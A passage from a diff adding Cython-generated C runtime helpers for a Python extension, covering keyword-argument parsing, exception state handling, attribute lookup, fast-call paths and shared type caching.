PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* ArgTypeTest */ +static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact) +{ + __Pyx_TypeName type_name; + __Pyx_TypeName obj_type_name; + if (unlikely(!type)) { + PyErr_SetString(PyExc_SystemError, "Missing type object"); + return 0; + } + else if (exact) { + #if PY_MAJOR_VERSION == 2 + if ((type == &PyBaseString_Type) && likely(__Pyx_PyBaseString_CheckExact(obj))) return 1; + #endif + } + else { + if (likely(__Pyx_TypeCheck(obj, type))) return 1; + } + type_name = __Pyx_PyType_GetName(type); + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "Argument '%.200s' has incorrect type (expected " __Pyx_FMT_TYPENAME + ", got " __Pyx_FMT_TYPENAME ")", name, type_name, obj_type_name); + __Pyx_DECREF_TypeName(type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return 0; +} + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* JoinPyUnicode */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && 